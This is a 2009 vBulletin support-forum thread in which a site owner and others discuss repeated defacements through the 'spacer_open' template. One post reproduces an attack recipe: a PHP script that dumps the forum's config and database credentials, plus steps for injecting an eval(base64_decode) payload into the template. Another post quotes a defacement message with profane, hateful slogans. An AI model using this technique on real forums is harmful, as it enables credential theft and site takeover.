forum is hacked by change (Spacer_open )

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • Mr.FahaD
    Member
    • Nov 2004
    • 84

    forum is hacked by change (Spacer_open )

    hello,
    I'm using the latest version of the vBulletin : vB 3.7.4 patch level 1.

    I got hacked every time , I got this hack in 3.6 as well as 3.7 !

    the hacker connect to template and change the source of template only.

    - Is there any server security issue for it ..? if yes, what i should disable it?
    - how to prevent this problem to happen again ..?

    I found this hack, u can check for it ...


    Also, I have found some discussion to change the template name (spacer_open) to other name so the hacker can't know which template name is

    Also,I'd like to fixed in all vBulletin version ! as many site hacked by this way.

    ====
    I found this thread :

    but it doesn't help at all ..

    and this is the respond from the host admin :
    ===

    Hello,

    No, this is happening because of a vulnerability in your script, not because we enabled anything to allow this to happen. The script is vulnerable to attack
    ===
    No, it is a vulnerability in your script. The hacker doesn't use FTP. Basically, your script is outdated and contains a security hole. The hacker exploited that hole and placed a php shell on the account. Once the php shell is on the account they can modify your files. You need to update to the latest version of the script in order to take advantage of the recent security changes.

    Thank You,
    Last edited by Mr.FahaD; Mon 5 Jan '09, 7:33am.
  • Mr.FahaD
    Member
    • Nov 2004
    • 84

    #2
    Hello again,
    I have found from SE, how to hack by using spacer_open, but i didn't undertand it..

    1- make a file n put this in it :
    PHP Code:
    <?    
    define
    ('VB_AREA''Forum');   
    define('DIR''/h ome/xxx/public_html/vb');  define('CWD','/h ome/xxx/public_html/vb');    include("/h ome/xxx/public_html/vb/global.php");    
    $vbulletin->fetch_config();   
    @
    ini_set('pcre.backtrack_limit', -1);   


    echo 
    ' <div align="center"><big><b> (L0v3R-4lr33M = Mohajer22) </b></big></div> ' ;   
    echo 
    '<center><table border="1" cellspacing="1" cellpadding="3" width="500" style="border-style:solid; border-width:2; background:#404040; color: #000000; " height="29">';   
    foreach (
    $vbulletin->config as $key => $value)   
    {   
        echo 
    '<tr>   
          <td colspan="2" align="center" style="background: #000000 ; color: #ffffff; font: bold 10pt verdana, geneva;" height="1">' 
    $key '</td></tr>';   

        foreach (
    $value as $key2 => $value2)   
        {   
            echo 
    '<tr>   
          <td width="50%" style="background: #404040; color: #00FF00;  font: bold 10pt verdana, geneva; height="19">' 
    $key2 '</td>   
          <td width="50%" style="background: #404040; color: #FFFF00;  font: bold 10pt verdana, geneva; height="19">' 
    . ($value2 $value2 '&nbsp;') . '</td></tr>';   
        }   
    }   
    echo 
    '</table></center>';   
    exit;   

    ?>


    then u will see all the information.

    2- we go the all index and modify
    " To '

    3- coding index by using Base64

    4- put the coding as bottom:
    echo" put it here";

    for example, the print index will be like that
    echo"aGFja2VkIGJ5IE1vaGFqZXIyMg==";


    then we will put the code what we created in this function :

    $spacer_open
    {${eval(base64_decode(
    '

    put the results here

    '
    ))}}{${exit()}}&
    $_phpinclude_output

    and we added to the table.



    hope it's help u to fix all version from this exploit !



    Comment

    • Lynne
      Former vBulletin Support
      • Oct 2004
      • 26255

      #3
      It looks like the hacker needs to put that file on your server. Have you searched your files for a non-vb file at all? Also, in order to put that file on your server, they needed to have access to your server. I would talk to your host about this after you find the file.

      Please don't PM or VM me for support - I only help out in the threads.
      vBulletin Manual & vBulletin 4.0 Code Documentation (API)
      Want help modifying your vbulletin forum? Head on over to vbulletin.org
      If I post CSS and you don't know where it goes, throw it into the additional.css template.

      W3Schools &lt;- awesome site for html/css help

      Comment

      • Mr.FahaD
        Member
        • Nov 2004
        • 84

        #4
        no, he didn't upload any thing at all
        Also, the host is confirmed that !

        Comment

        • Lynne
          Former vBulletin Support
          • Oct 2004
          • 26255

          #5
          Well, the script you posted can't be run unless it is on the server. Has the host confirmed that it wasn't uploaded and then removed?

          Please don't PM or VM me for support - I only help out in the threads.
          vBulletin Manual & vBulletin 4.0 Code Documentation (API)
          Want help modifying your vbulletin forum? Head on over to vbulletin.org
          If I post CSS and you don't know where it goes, throw it into the additional.css template.

          W3Schools &lt;- awesome site for html/css help

          Comment

          • Mr.FahaD
            Member
            • Nov 2004
            • 84

            #6
            yes,,,


            the spacer_open and spacer_close , many sites are been hacked by this way.

            Comment

            • beishe8
              Senior Member
              • Oct 2005
              • 6782
              • 4.2.X

              #7
              Originally posted by Mr.FahaD
              no, he didn't upload any thing at all
              Also, the host is confirmed that !
              Provided I want to hack a forum :
              1- make a file n put this in it :
              My file is ready but what to do with it on my computer?
              So Lynne is right,I have to upload it to the server.
              How? I have to have FTP access to that server and I don't have...

              Is HTML enabled on that forum? Maybe somehow I can use it to insert something on that server...


              vB5 is unequivocally the best forum software, but not yet...

              Comment

              • Golzarion
                Member
                • Mar 2008
                • 31
                • 3.7.x

                #8
                It happen on Shared hosting !!!

                the file will be uploaded on the server but not your account !
                The really important thing that you forgot is :

                change the password of database !!!

                It is because of shared server weak security.
                Last edited by Golzarion; Sun 11 Jan '09, 2:18am.
                http://forum.golzarion.com

                Comment

                • Mr.FahaD
                  Member
                  • Nov 2004
                  • 84

                  #9
                  thnx for ur reply ,

                  I got hacked again yesterday ! ,

                  I have change the username and password for the detabase and updated in config.

                  I'm having a reselley,is there any function should i tell the hostting to disable it ..?

                  I have talked with the company many times and they said "There in nothing from server security" . this happen due to vBulletin Script !

                  Comment

                  • Steve Machol
                    Former Customer Support Manager
                    • Jul 2000
                    • 154488

                    #10
                    Please see this thread on how to make your vBulletin more secure:



                    If you are still being hacked after doing all of this, then they are most likely doing this by accessing your server. You need to contact your host about this.
                    Steve Machol, former vBulletin Customer Support Manager (and NOT retired!)
                    Change CKEditor Colors to Match Style (for 4.1.4 and above)

                    Steve Machol Photography


                    Mankind is the only creature smart enough to know its own history, and dumb enough to ignore it.


                    Comment

                    • Mr.FahaD
                      Member
                      • Nov 2004
                      • 84

                      #11
                      hello steve,
                      98% of this steps i'v done already.

                      it there any problem with config.php ?
                      so, i have to change the name and directory for it ?

                      and if it's from server , which function he should disable it ? and which add-on should he installed ?


                      Comment

                      • Steve Machol
                        Former Customer Support Manager
                        • Jul 2000
                        • 154488

                        #12
                        There is no need to change config.php. If someone has access to that, then this is a server issue.
                        Steve Machol, former vBulletin Customer Support Manager (and NOT retired!)
                        Change CKEditor Colors to Match Style (for 4.1.4 and above)

                        Steve Machol Photography


                        Mankind is the only creature smart enough to know its own history, and dumb enough to ignore it.


                        Comment

                        • Mr.FahaD
                          Member
                          • Nov 2004
                          • 84

                          #13
                          hello,
                          ok, if it's server issue , what functions should be disabled that prevent hacker to change the template "spacer_open".

                          as i mentioned before , many sites is hacked by change the template spacer_open only !

                          Comment

                          • Maplewoods
                            Member
                            • Aug 2005
                            • 60
                            • 3.0.0 Release Candidate 3

                            #14
                            VB Hackers Specialty

                            I got hacked too.

                            Please let us know what you did to fix your site (precisely which files had to be re-uploaded or replaced).

                            Checking out their web site is seems that they seem to specialize in VB Hacking.

                            Is anyone familiar with this and exactly what they do to hack and exactly what needs to be done to fix the site and to PREVENT them from doing it again?

                            My Index.php loads their hacked version of their page, although as far as I can tell, my actual index.php is the genuine VB page.

                            I havn't been able to figure out where their hacked page is hiding and how they manage to exchange the real VB page for their hacked version.

                            All my other sub-pages of VB work OK

                            If someone doesn't really know the specifics of this particular group of hackers, then the easiest thing to say (if you don't know) is to recommend to "do everything" - listing a very long list of STANDARD security recommendations - but that's the "easy way out".

                            The "easy answer" is to recommend all the STANDARD recommendations which applies to anything and everything that can be exploited, but my question is, does anyone know the specifics of what this precise group of hackers do, so that past damage can be fixed and future damage stopped.

                            I assume that I am not the only VB hacked by them and that they have damaged thousands of other VB sites, regularly.

                            My hacked by pages stated:

                            By SuB-ZeRo
                            FrOm:AlGeRiA
                            visite my forum www.dz-security.net/vb
                            who dont love mouslims he go f??? hi self
                            f??? u admin and f??? all users f??? israel & usa & danemark
                            WhErE Is ThE SeCuRiTy.. !?
                            we are mouslimme and we are all withe gaza
                            FoR CoNTaCTe
                            [email protected]
                            Last edited by Maplewoods; Sun 25 Jan '09, 9:41pm.

                            Comment

                            • Golzarion
                              Member
                              • Mar 2008
                              • 31
                              • 3.7.x

                              #15
                              I do not really know what they do .... but I am sure it is because of SERVER weak security .... and most of the time it happened on SHARED server hosting...
                              never forgot to change your DATABASE password after got hacked ...
                              http://forum.golzarion.com

                              Comment

                              widgetinstance 262 (Related Topics) skipped due to lack of content & hide_module_if_empty option.
                              Working...